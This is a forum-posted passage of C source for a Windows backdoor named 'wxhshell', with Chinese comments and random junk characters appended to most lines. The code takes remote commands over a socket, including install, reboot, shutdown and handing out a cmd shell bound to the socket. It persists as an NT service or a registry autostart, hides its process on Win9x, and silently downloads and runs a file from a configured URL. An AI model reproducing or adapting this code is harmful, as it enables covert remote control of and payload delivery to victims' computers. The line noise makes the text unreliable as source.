      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); yku5SEJ\  
    break; 0 q} *S~  
  } vms|x wb  
  // 安装 a yCY~=i  
  case 'i': { JtEo'As:[  
    if(Install()) 1IC~e^"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ni~Q 9b  
    else [5G6VNh=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6p?,(  
    break; 5nT"rA  
    } j bVECi-  
  // 卸载 9Uj $K>:  
  case 'r': { mz,  
    if(Uninstall()) 3I)VHMC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D~hg$XzK  
    else 6kpg+{;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *AO,^R&e.  
    break; 'EbWFMjy  
    } jQ2Ot<  
  // 显示 wxhshell 所在路径 gtk7)Uh  
  case 'p': { x=b7':nQ  
    char svExeFile[MAX_PATH]; 5*lT.  
    strcpy(svExeFile,"\n\r"); [N7{WSZ&  
      strcat(svExeFile,ExeFile); )Im#dVQs=  
        send(wsh,svExeFile,strlen(svExeFile),0); bM{s T"  
    break; *=]&&<  
    } ^(vs.U^U<  
  // 重启 Gft%Mq v  
  case 'b': { LhOa{1SY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +jS|2d  
    if(Boot(REBOOT)) q8/MMKCbX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t&H?\)!4  
    else { 5ymk\Lw  
    closesocket(wsh); 7gj4j^a^]{  
    ExitThread(0); AgS 7J(^&3  
    } wQ^EYKD  
    break; a%kQl^I4  
    } gp>3I!bo[K  
  // 关机 g)#W>.Asd  
  case 'd': { (7*%K&x  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ,w {e  
    if(Boot(SHUTDOWN)) )wC?T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }&cu/o4  
    else { (gP)%  
    closesocket(wsh); @;*Ksy@1O  
    ExitThread(0); Y$Z x,  
    } a1C{(f)  
    break; c 0,0`+2~  
    } {:6r;TB  
  // 获取shell ,}3 'I [  
  case 's': { W42 iu"@  
    CmdShell(wsh); S2HcG 1J  
    closesocket(wsh); (;T^8mI2  
    ExitThread(0); :r{<zd>;  
    break; \MyLc/Gh5  
  } >AVVEv18  
  // 退出 t;W0"ci9  
  case 'x': { \.MR""@y`{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [pbo4e,4O  
    CloseIt(wsh); PVe xa|aaX  
    break; @.$|w>>T  
    } ;_c;0)  
  // 离开 ]Lf{Jboo  
  case 'q': { e?0l"  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); >3p \m  
    closesocket(wsh); [k.tWA,&  
    WSACleanup(); ZP@ $Q%up  
    exit(1); >0/i[k-dk  
    break; q!.byrod  
        } 0)Uce=t`  
  } (SpX w,:  
  } +"rDT1^V  
\UPjf]&  
  // 提示信息 _Gn2o2T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y~c|hfL  
} )eUh=eW  
  } &XIt5<$~R  
[w0QZyUn  
  return; $ `ov4W  
} zd2)M@  
@:+8?qcP  
// shell模块句柄 my(2;IJ#{  
int CmdShell(SOCKET sock) n6wV.?8  
{ a L} % 2  
STARTUPINFO si; J"!vu.[  
ZeroMemory(&si,sizeof(si)); '~5LY!H(pT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; NCiW^#b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; *Fy2BZH%Q  
PROCESS_INFORMATION ProcessInfo; VEWi_;=J1  
char cmdline[]="cmd"; \:b3~%Fz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >")Tf6zw&  
  return 0; z>LUH  
} Nv#t:J9f  
;Y 00TGU  
// 自身启动模式 2^r <{0@n  
int StartFromService(void) 6</xL9#/  
{ zBCtd1Xrni  
typedef struct %'b M){  
{ /a{la8Ni  
  DWORD ExitStatus; * aN  
  DWORD PebBaseAddress; 9+j0q%  
  DWORD AffinityMask; YN/|$sMD|  
  DWORD BasePriority; &Y!-%{e  
  ULONG UniqueProcessId; ?M8dP%&r  
  ULONG InheritedFromUniqueProcessId; U>YAdrx2a  
}   PROCESS_BASIC_INFORMATION; &TUWW/?T  
^H~h\,;zQ  
PROCNTQSIP NtQueryInformationProcess; p*< 0"0  
ASKf '\,dV  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `.E[}W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3k\#CiB{  
g2BHHL;`  
  HANDLE             hProcess; F}F&T  
  PROCESS_BASIC_INFORMATION pbi; Lf16j*}-Q  
Xnt~]k\"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); G? ])o5  
  if(NULL == hInst ) return 0; t>L;kRujVJ  
FtpK)9/4  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); QX!-B  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); m,VOx7%n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); = i$Fl{vH  
X$HIVxyq2  
  if (!NtQueryInformationProcess) return 0; ( Z619w  
Yrb{ByO&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  DGRXd#  
  if(!hProcess) return 0; )B T   
T/b6f;t-s  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,kiv>{  
y`VyQWW  
  CloseHandle(hProcess); IoxgjUa  
I5`4Al  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gR&Q3jlIV  
if(hProcess==NULL) return 0; SzAJ2:qhl  
! +a. Ei  
HMODULE hMod; y=fx%~<> 8  
char procName[255]; 34`'M+3  
unsigned long cbNeeded; N nRD|A  
Nkjza:f{  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6g2a[6G5  
S'k_olx7  
  CloseHandle(hProcess); qz+dmef  
H['N  
if(strstr(procName,"services")) return 1; // 以服务启动 QqDC4+ p"  
VyXKZ%\dQ/  
  return 0; // 注册表启动 _G[g;$ <  
} &:;:"{t}Do  
~FZ&.<s  
// 主模块 x u>9(,l  
int StartWxhshell(LPSTR lpCmdLine) V_R@o3kv;  
{ &b.=M>\9Q  
  SOCKET wsl; F0pir(n-  
BOOL val=TRUE; hcgMZT!<5  
  int port=0; 35A|BD) q  
  struct sockaddr_in door; ?8I?'\F;  
Us)Z^s  
  if(wscfg.ws_autoins) Install(); 8LyD7P 1\  
R] vV*  
port=atoi(lpCmdLine); KxI&G%z  
; ^*}#X d  
if(port<=0) port=wscfg.ws_port; y0{u<"t%w  
)fFb_U  
  WSADATA data; %D UH@j  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z 6t56"u  
"fQ~uzg="  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   $~~Jw]   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p2Z?T}fa}&  
  door.sin_family = AF_INET; "An,Q82oHf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }QN1|mP2  
  door.sin_port = htons(port); JUsQ,ETn  
>NO[UX%yP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Sj-n;F|=X  
closesocket(wsl); 61Bwb]\f/|  
return 1; s28`OKC}  
} XR8,Vt)=  
TcyNIx  
  if(listen(wsl,2) == INVALID_SOCKET) { #9B)Xx!g  
closesocket(wsl); J; 3{3  
return 1; O%Scjm-^X  
} y_'Ub{w  
  Wxhshell(wsl);  j?A/#  
  WSACleanup(); &D >G8  
Nu0C;B66  
return 0; )s)I2Z+  
10G}{  
} ZEXc%-M  
-0d0t!  
// 以NT服务方式启动  H_B4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) qPWP&k  
{ }HL]yDO  
DWORD   status = 0; q VjdOY:z  
  DWORD   specificError = 0xfffffff; e2L0VXbb  
6}Vf\j~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9 3U_tQ&1?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .4_o>D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; A|CmlAW~^  
  serviceStatus.dwWin32ExitCode     = 0; *]. 7dec/  
  serviceStatus.dwServiceSpecificExitCode = 0; sWQfr$^A  
  serviceStatus.dwCheckPoint       = 0; Bp*K]3_  
  serviceStatus.dwWaitHint       = 0; &Q9qq~  
KLU-DCb%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  jPC[_g  
  if (hServiceStatusHandle==0) return; 8J*"%C$qe  
TIx|L  
status = GetLastError(); [=x[ w70  
  if (status!=NO_ERROR) Jz?j[  
{ \(~y?l  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v:EB*3n5  
    serviceStatus.dwCheckPoint       = 0; :Gv1?M  
    serviceStatus.dwWaitHint       = 0; ~fBtQGdX  
    serviceStatus.dwWin32ExitCode     = status; w:??h4lt  
    serviceStatus.dwServiceSpecificExitCode = specificError; IW)()*8;/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); cec9l65d  
    return; 7WZrSC  
  } B5gj_^  
h&|[eZt?F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )r';lGh2#  
  serviceStatus.dwCheckPoint       = 0; YSs)HV.8  
  serviceStatus.dwWaitHint       = 0; 062,L~&E  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "MxnFeLM#  
} Okgv!Nt8)A  
w _u\pa  
// 处理NT服务事件,比如:启动、停止  ^le<}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [M?}uK ^  
{ zqd@EF6/bz  
switch(fdwControl) LU+3{O5y  
{ sI43@[  
case SERVICE_CONTROL_STOP: OBgkpx*Q  
  serviceStatus.dwWin32ExitCode = 0; 6T>mW#E&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; he#J|p  
  serviceStatus.dwCheckPoint   = 0; H1 2Fw'2  
  serviceStatus.dwWaitHint     = 0; h-g+g#*  
  { ke{8 ^X~#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7t3X)Ah  
  } |VKK#J/  
  return; #w;v0&p  
case SERVICE_CONTROL_PAUSE: rI{=WPI&WU  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "B8Q:  
  break; TbA}BFT`  
case SERVICE_CONTROL_CONTINUE: D,m]CK '  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; qsL) }sC^8  
  break; Gk967pC  
case SERVICE_CONTROL_INTERROGATE: 5Y?L>QU"  
  break; )Z[ft  
}; w^(<N7B3T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W"724fwu&  
} 5&xB6|k  
=6xrfDbN8  
// 标准应用程序主函数 (VS5V31"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?xK8#  
{ 1m+p;T$  
;g8R4!J  
// 获取操作系统版本 so^lb?g  
OsIsNt=GetOsVer(); >82@Q^O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); YgKZ#?*  
w'L\?pI  
  // 从命令行安装 mrTlXXz  
  if(strpbrk(lpCmdLine,"iI")) Install(); A+HF@Uw}^  
\ Fl+\?~D  
  // 下载执行文件 h"lX 4  
if(wscfg.ws_downexe) { $GYm6x\4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u,F nAh?"  
  WinExec(wscfg.ws_filenam,SW_HIDE); g"Ljm7  
} Gb"r|(!  
oV)~@0B&0  
if(!OsIsNt) { avjpA ?Vz  
// 如果时win9x,隐藏进程并且设置为注册表启动 @*>@AFnf\Z  
HideProc(); )@N2  
StartWxhshell(lpCmdLine); UYFwS/ RW}  
} ,_|]Ufr!a  
else hp8%.V$f  
  if(StartFromService()) f6|KN+.  
  // 以服务方式启动 Vw[6t>`  
  StartServiceCtrlDispatcher(DispatchTable); gHhh>FFAq  
else Ok>gh2e[c  
  // 普通方式启动 '"y|p+=j:  
  StartWxhshell(lpCmdLine); o5xAav"+>  
r`%+M7  
return 0; @95FN)TXZY  
}
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只看该作者 1 发表于: 2006-10-10
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